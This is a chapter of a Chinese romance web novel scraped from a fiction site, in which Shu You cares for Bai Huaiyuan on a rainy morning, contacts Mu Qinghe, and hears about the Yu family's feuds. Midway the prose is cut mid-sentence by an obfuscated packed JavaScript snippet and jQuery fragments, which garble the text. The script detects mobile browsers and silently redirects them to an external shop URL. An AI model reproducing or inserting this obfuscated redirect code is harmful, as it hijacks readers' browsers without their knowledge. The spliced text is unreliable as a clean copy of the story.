文趣网 > 其他小说 > 难以戒断 > 44. 第四十四章 7.26小修
    早时,窗外阴沉,树叶簌簌,雨点打在玻璃上,偶有雷声伴随而落。

    衬衫挽在小臂,舒又捧着捧水打在脸上,水温温的。

    再出来时,额前发丝挂着水珠,随手抽出纸巾擦拭掉,拿起外套出了房间。

    屋内暖气开地十足,单穿衬衫不觉得冷。

    舒又将外套放在沙发上,扫视一圈,没看到人,出声喊了一声名字。

    静默一分钟,无人回应。

    在房间吗?

    想着,踩着拖鞋踱步到门前,抬手轻叩响,又唤声,“柏淮远?”

    等了十几秒,始终无人应答,敲门手转而握在门把上,向下一拧推开。

    目光扫视屋内,除了床铺有些凌乱,室内空无一人。

    人不在家啊?舒又喃喃,摸出手机拨去电话。

    铃声刚响,她便隐约听到,略感疑惑出了房间。

    声音大了,却从玄关传来,她寻声抬头望去。

    只见玄关处,男人脱下外套露出灰色高领内衬,单手撑在柜上,低垂着眉眼,头发垂落脖颈,放在柜台上手机亮了又熄。

    舒又目光移落在裤腿边缘,明暗交界线分明,像是被雨水洇湿。

    她忽然开口问起对方,“大雨天怎么出门了?”

    闻声,柏淮远侧目看去,见人站在自己卧室前,一愣,随后神色恢复如常却问,“怎么不多睡会。”

    “睡多总感觉脑袋昏昏不清醒。”

    男人拎了拎手上东西,又说:“冰箱东西不多,索性出门买了一些。”说着,人拎着早餐迈步朝走进厨房。

    舒又嗯声,走上前跟在人身后,视线瞄到对方肩上洇出小团水渍,下意识抽出纸巾擦拭,语气带着关心,“出门怎么不带伞,你看衣服都湿了。”

    “带了。”肩上传来柔软触感,他动作顿住,回眸视线落去,对方距离自己一步之遥,鼻尖幽香萦绕,产生一瞬恍惚。

    “带了衣服怎么会湿?”将纸在手心蹿成团又转手扔进垃圾桶,抬头与他对视。

    短暂对视片刻,柏淮远先一步错开视线,“风太大。”

    “行吧。”舒又咂舌,又接过对方手中早餐驱赶,“去换身衣服吧,别感冒。”

    柏淮远往旁边挪一步,避开对方伸来的手,“不用。”

    “......”

    “柏淮远。”对方喊他名字平静无波。

    柏淮远拆袋子手顿住,将东西放下,又说,“我去换身衣服。”

    说完,人转身出了厨房。

    再出来时,衣服倒是换了一身,只是...

    目光缓缓上移,落到对方头发上,湿发贴在额头,倒是不往下滴水。

    将手中最后一口包子吃掉又起身径直往自己房间走去,出来时手中多了一台吹风机。

    舒又也不跟他多话,拉着人往客厅方向走,又将人按坐在地毯上。

    自己盘腿坐在沙发上,通上电源,暖风吹在发间,手指轻揉按在头皮。

    柏淮远眸光幽暗,显然发觉对方经常性帮忙吹头发,忽然发问,“经常帮他吹吗?”

    “怎么会。”舒又笑笑,关闭吹风机,摸了一把头发,还带着些湿润感不会让头发太过干燥,吹头发最完美的状态,“好了。”

    收回手,将线拔掉缠在吹风机尾端,起身回答他,“偶尔,吃饭吧,不然要凉了。”

    顿了顿,又夸赞道,“味道挺不错,哪一家买的?”

    “路口。”

    “我记得那里没有早餐店啊。”

    “新开的。”

    *

    跟柏淮远呆在一处总会懒上几分,就如现在。

    她吃完早餐坐在沙发上,托腮饶有兴致看着厨房忙碌背影。

    柏淮远是个很好的朋友及伴侣,有钱,情绪稳定又一手好厨艺,这一点在刚认识不久便意识到。

    不过,她之前听柏延提过一嘴,他哥心里有一个放不下的人并且喜欢了很多年。

    想知道对方是谁,又没立场询问,想到柏延的话,心里莫名泛起酸,后牙咬了咬脸颊肉,目光幽幽看去。

    直到手机震动,打断思绪,她收回视线垂眸落在手机上,却见昨日发去的好友申请被通过。烦闷瞬间烟消云散。

    昨日去了一趟舒家,倒也不是没有收获。

    暮清诃是暮总外甥女这事,若不是舒立诚为了项目主动跟自己提起,想拿到暮清诃联系方式怕没那么简单。

    其实早在事情刚冒出一点苗头时,她便想过联系对方。

    与其让自己无力辩解倒不如让当事人亲口阐述真相,奈何那时当事人已不在国内,通过喻辽安来澄清更是无稽之谈。

    如今人高调回国,她自然要想办法联系对方,来摘掉身上标签。

    点开对话框,她主动给人发去信息。

    舒:我是舒又,暮小姐,我想约你见一面。

    等了几分钟,对方没回应,瞄了眼时间,刚回国估计在倒时差,想着,舒又点进对方主页,却见昨日凌晨三点发的朋友圈,一张照片。

    照片不稀奇,普通的对杯碰照片,只是......

    舒又凑近点开放大仔细看去,照片里出境的手让她感到无比熟悉。

    直到看到那颗小指根痣,她勾唇笑着。

    怪不得昨日喻辽安没来电话,合着背着她去赴初恋约会了。

    轻哼一声,截图保存,顺手拨去一个电话。

    *

    “谷助理,这条内容你确认一下,如果没有错我就嘱咐员工发了。”

    “行,我知道了。”

    办公室里,一人身着正服,坐在椅子上,应声,头也不抬接过手机。

    当他正准备细细核对时,放在右手旁手机忽然亮了屏。

    谷雨瞄了一眼来电人立马停下手头工作,挥手示意人先离开。

    手机就在桌子上放着,喻总夫人四个打字对面人自然也有看到,于是轻声喊谷雨记得帮自己看一下便离开。

    谷雨点头等人从办公室离开,清了清声音,接通。

    “舒小姐。”

    “早上好啊,谷助理。”舒又倚在沙发上,笑着礼貌打招呼。

    “舒小姐早上好。”

    “吃饭了吗?”

    “谢谢,已经吃过了,舒小姐是有事找喻总吗?”对方一副公事公办语气。

    被人看穿来意,舒又索性不再客套,问起,“喻总现在在公司吗?”

    谷雨目不斜视通过玻璃看向对面无人办公室,“在的。”

    “昨天你们喻总去哪了?”

    “喻总去谈合同了。”

    “去哪里谈的合同?”

    “抱歉,这个属于公司业务,没法告知。”

    果然是好秘书,嘴真严,见此状况也不好再问下去,舒又收了心思,“...好吧,打扰了,你继续工作吧。”

    “嗯,再见舒小姐。”

    临挂断前,舒又听到那头极其叹气声,笑了笑。

    “笑什么呢?”柏淮远走近见她这幅神情,出声询问。

    舒又敛了笑意,盘腿坐起身,给人空出位置,“没什么,对了,都快九点了,今天不用去公司吗?”

    “舒又小姐,拉磨的都有休息时间,更何况我们。”对方脸上尽显无奈。

    “抱歉,我忘记今天过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829820|185852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    星期。”舒又正了神色,又问,“你说我这件事背后人是喻梁伟,喻梁伟是喻辽安亲舅舅,亲人之间怎么敢做这种事,就不怕损害本家利益吗?”

    舒又一脸困惑又不解。

    柏淮远摇摇头,“背后利益错综复杂,我知道的不多,在国外那些年,偶尔听过喻家一些家事,说起来,跟喻辽安关系不小。”

    “他?”舒又问,“跟他又有什么关系。”

    “你不也说了,喻梁伟是喻辽安亲舅舅,那你知道现喻夫人并非第一任吗?”

    任这个字用的很精妙,舒又没出声,满是探究目光望着他等待下文。

    男人垂眸触她视线,清了清嗓子,娓娓道来。

    “喻先生一共有两任妻子,喻辽安是第一任妻子所生,听人说两人是校园恋爱到结婚,婚后没多久喻夫人便怀上了孩子,不过待产期间,喻先生偷腥被妻子抓到受刺激早产,生下他没多久便撒手人寰,留他一个未满月孩子。”

    “喻辽安四岁那年,喻先生光明正大将人带回了家,这件事被喻老先生知道后气的将两人赶了出去,那段时间喻辽安一直待在老先生身边。”

    顿了顿,柏淮远轻笑一声,接着道,“亲情哪有说断就断的,况且,喻老先生身体越来越差,实在分不出精力管辖喻家,就算再厌恶也要为喻家考量。”

    “将人接回来后,喻辽安也回了自家,喻梁伟原名蔡梁伟,后随姐姐住进喻家改姓,喻梁伟便是第二任妻子弟弟。”男人话语顿住,看向她,喉结轻滚,“这个人一直看不惯喻辽安,总觉得喻辽安抢了本该属于他的东西。”

    话音落,柏淮远没再说下去,舒又了然。

    虽说是协议婚约,但她身上还有喻总妻子这个名号,她出了事谁最高兴不言而喻。

    柏淮远把玩着她手,轻捏了捏掌心,又说,“不过这人也傻,做事漏洞百出,顺藤摸瓜便查出来了。”

    舒又垂眸思昼不知在想些什么,对方接下的话又将她思绪拉回来。

    “最近画室怎样,听说到一些不好新闻。”

    舒又唉声叹息,抽回自己手,垂眸看了一眼手机,界面多出一条信息。

    “暂时停课躲避风波。”

    思索一瞬,舒又问道:“柏淮远,你有转手渠道吗?”

    “你要卖什么?”

    “不是我,是我一个朋友,她觉得家里画太多了,便想卖出去几幅。”

    莫名心虚,舒又视线躲闪不敢看对方,听对方应声悄然松了口气。

    窗外雨在两人聊天中渐停,舒又解锁手机见暮清诃发来信息。

    暮清诃:Helens海伦司小酒馆

    暮清诃:过时不候。

    见状,舒又拎起外套蹭地站起身,柏淮远见人要走,下意识伸手拉住对方,被躲过去,仰声询问,“怎么了,是有事吗?”

    “画室有事喊我过去一趟。”

    “用我送你吗?”

    “不用。”舒又丝毫不带犹豫拒绝,大步走到玄关换鞋。

    穿上外套拉开门,一只脚刚迈出门框,脑海忽然浮现他昨日眼神,又收了回来,转身看向沙发,却说道,“我晚上就不回来了。”

    柏淮远眉眼带笑,声音温和嘱咐她路上注意安全。

    舒又应好,出了房间,门缓缓在眼前合上,人不见了。

    他笑容收敛,取而代之的冷淡,踱步走到窗旁,眸光垂落在窗外街道。

    人上了一辆白色车,不一会,车缓缓驶入车流随后隐匿与树影中。

    柏淮远眸光淡淡盯着车离去方向,神情却愈发泛冷。

    画室在银杏树街道,那个方向不是银杏树街道。